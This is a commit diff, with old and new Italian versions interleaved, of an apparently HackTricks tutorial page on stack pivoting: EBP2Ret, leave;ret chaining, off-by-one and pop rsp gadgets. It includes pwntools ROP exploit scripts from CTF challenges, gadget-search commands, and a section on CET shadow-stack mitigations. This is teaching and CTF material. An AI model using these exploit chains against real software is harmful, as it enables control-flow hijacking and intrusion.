Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:39 +00:00
parent 73468c61a7
commit 8699af5817

View File

@ -4,59 +4,63 @@
## Informazioni di base ## Informazioni di base
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**. Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP/RBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del frame pointer e della sequenza di istruzioni **`leave; ret`**.
Come promemoria, **`leave`** significa fondamentalmente: Come promemoria, su x86/x86-64 **`leave`** è equivalente a:
``` ```
mov ebp, esp mov rsp, rbp ; mov esp, ebp on x86
pop ebp pop rbp ; pop ebp on x86
ret ret
``` ```
E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack. E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
> Note
> - Su 64 bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
> - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà.
### EBP2Ret ### EBP2Ret
Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione. Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione.
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\ Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà.
#### Costruzione dell'Exploit #### Costruzione dell'Exploit
Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**. Prima devi conoscere un **indirizzo dove puoi scrivere dati/indirizzi arbitrari**. RSP punterà qui e **consumerà il primo `ret`**.
Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare: Poi, devi scegliere l'indirizzo utilizzato da `ret` che **trasferirà l'esecuzione**. Potresti usare:
- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget). - Un valido [**ONE_GADGET**](https://github.com/david942j/one_gadget) indirizzo.
- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits). - L'indirizzo di **`system()`** seguito dal ritorno e dagli argomenti appropriati (su x86: `ret` target = `&system`, poi 4 byte spazzatura, poi `&"/bin/sh"`).
- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire. - L'indirizzo di un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito da shellcode inline.
- Alcuna catena [**ROP**](../rop-return-oriented-programing/index.html) - Una catena [**ROP**](../rop-return-oriented-programing/index.html) in memoria scrivibile.
Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione. Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve esserci **spazio per il `pop ebp/rbp`** da `leave` (8B su amd64, 4B su x86). Puoi abusare di questi byte per impostare un **secondo fake EBP** e mantenere il controllo dopo che la prima chiamata restituisce.
#### Off-By-One Exploit #### Exploit Off-By-One
C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\ C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che un sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
Di solito viene modificato il byte 0x00 per saltare il più lontano possibile.
Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita. È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita.
### **EBP Chaining** ### EBP Chaining
Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**. Posizionando un indirizzo controllato nello slot `EBP` salvato dello stack e un gadget `leave; ret` in `EIP/RIP`, è possibile **spostare `ESP/RSP` a un indirizzo controllato dall'attaccante**.
Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo: Ora `RSP` è controllato e la prossima istruzione è `ret`. Posiziona nella memoria controllata qualcosa come:
- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave` - `&(next fake EBP)` -> Caricato da `pop ebp/rbp` da `leave`.
- **`system()`** -> Chiamato da `ret` - `&system()` -> Chiamato da `ret`.
- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà - `&(leave;ret)` -> Dopo che `system` termina, sposta RSP al prossimo fake EBP e continua.
- **`&("/bin/sh")`**-> Parametro per `system` - `&("/bin/sh")` -> Argomento per `system`.
Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma. In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite. Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso e utile solo in casi limite.
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina: Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con un **leak dello stack** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
```python ```python
from pwn import * from pwn import *
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 POP_RSI_R15 = 0x401229
payload = flat( payload = flat(
0x0, # rbp (could be the address of anoter fake RBP) 0x0, # rbp (could be the address of another fake RBP)
POP_RDI, POP_RDI,
0xdeadbeef, 0xdeadbeef,
POP_RSI_R15, POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner'] elf.sym['winner']
) )
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat( payload += flat(
buffer, # Load leak address in RBP buffer, # Load leaked address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
) )
pause() pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad es., `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
## EBP potrebbe non essere utilizzato ## EBP potrebbe non essere utilizzato
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, il **EBP non controlla mai ESP**, quindi, qualsiasi exploit che funziona controllando EBP fallirà fondamentalmente perché non ha alcun effetto reale.\ Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni o con omissione del puntatore di frame, l'**EBP/RBP non controlla mai ESP/RSP**. Pertanto, qualsiasi exploit che funziona controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina dal puntatore di frame.
Questo è dovuto al fatto che i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
- **Non ottimizzato:** - Non ottimizzato / puntatore di frame utilizzato:
```bash ```bash
push %ebp # save ebp push %ebp # save ebp
mov %esp,%ebp # set new ebp mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return ret # return
``` ```
- **Ottimizzato:** - Ottimizzato / puntatore del frame omesso:
```bash ```bash
push %ebx # save ebx push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size sub $0x100,%esp # increase stack size
. .
. .
. .
add $0x10c,%esp # reduce stack size add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx pop %ebx # restore
ret # return ret # return
``` ```
Su amd64 vedrai spesso `pop rbp ; ret` invece di `leave ; ret`, ma se il puntatore di frame è completamente omesso, allora non c'è un epilogo basato su `rbp` attraverso cui effettuare il pivot.
## Altri modi per controllare RSP ## Altri modi per controllare RSP
### **`pop rsp`** gadget ### Gadget `pop rsp`
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'era una **leak dallo stack**: [**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **gadget `pop rsp`** e c'era una **leak dallo stack**:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### xchg \<reg>, rsp gadget ### xchg <reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
@ -181,18 +188,65 @@ Controlla la tecnica ret2esp qui:
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}} {{#endref}}
## Riferimenti e Altri Esempi ### Trovare rapidamente gadget di pivot
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) Usa il tuo cercatore di gadget preferito per cercare classici primitivi di pivot:
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - `leave ; ret` su funzioni o in librerie
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled - `pop rsp` / `xchg rax, rsp ; ret`
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - `add rsp, <imm> ; ret` (o `add esp, <imm> ; ret` su x86)
- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
Esempi:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Classic pivot staging pattern
Una robusta strategia di pivot utilizzata in molti CTF/exploits:
1) Utilizzare un piccolo overflow iniziale per chiamare `read`/`recv` in una grande area scrivibile (ad es., `.bss`, heap o memoria RW mappata) e posizionare lì una catena ROP completa.
2) Ritornare in un gadget di pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) per spostare RSP in quella regione.
3) Continuare con la catena preparata (ad es., leak libc, chiamare `mprotect`, poi `read` shellcode, poi saltare a essa).
## Modern mitigations that break stack pivoting (CET/Shadow Stack)
I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Con SHSTK abilitato, `ret` confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di Control-Protection e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo `ret` viene eseguito da uno stack pivotato.
- Per informazioni di base e dettagli più approfonditi vedere:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Controlli rapidi su Linux:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Note per laboratori/CTF:
- Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel `nousershstk`, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione.
- Le tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`.
- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la “Protezione dello Stack Forzata dall'Hardware” in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).
## ARM64 ## ARM64
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**. In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo all'interno di `x30`**.
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**. Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**.
@ -213,7 +267,7 @@ ret
``` ```
> [!CAUTION] > [!CAUTION]
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso. > Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da uno **`SP`** controllato e **`RET`** a esso.
Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**: Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**:
@ -221,4 +275,15 @@ Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}} {{#endref}}
## Riferimenti
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questa scrittura "eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
- Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK, `nousershstk`, flag di `/proc/$PID/status`, e abilitazione tramite `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Protezione dello Stack Forzata dall'Hardware in Modalità Kernel (stack shadow CET su Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}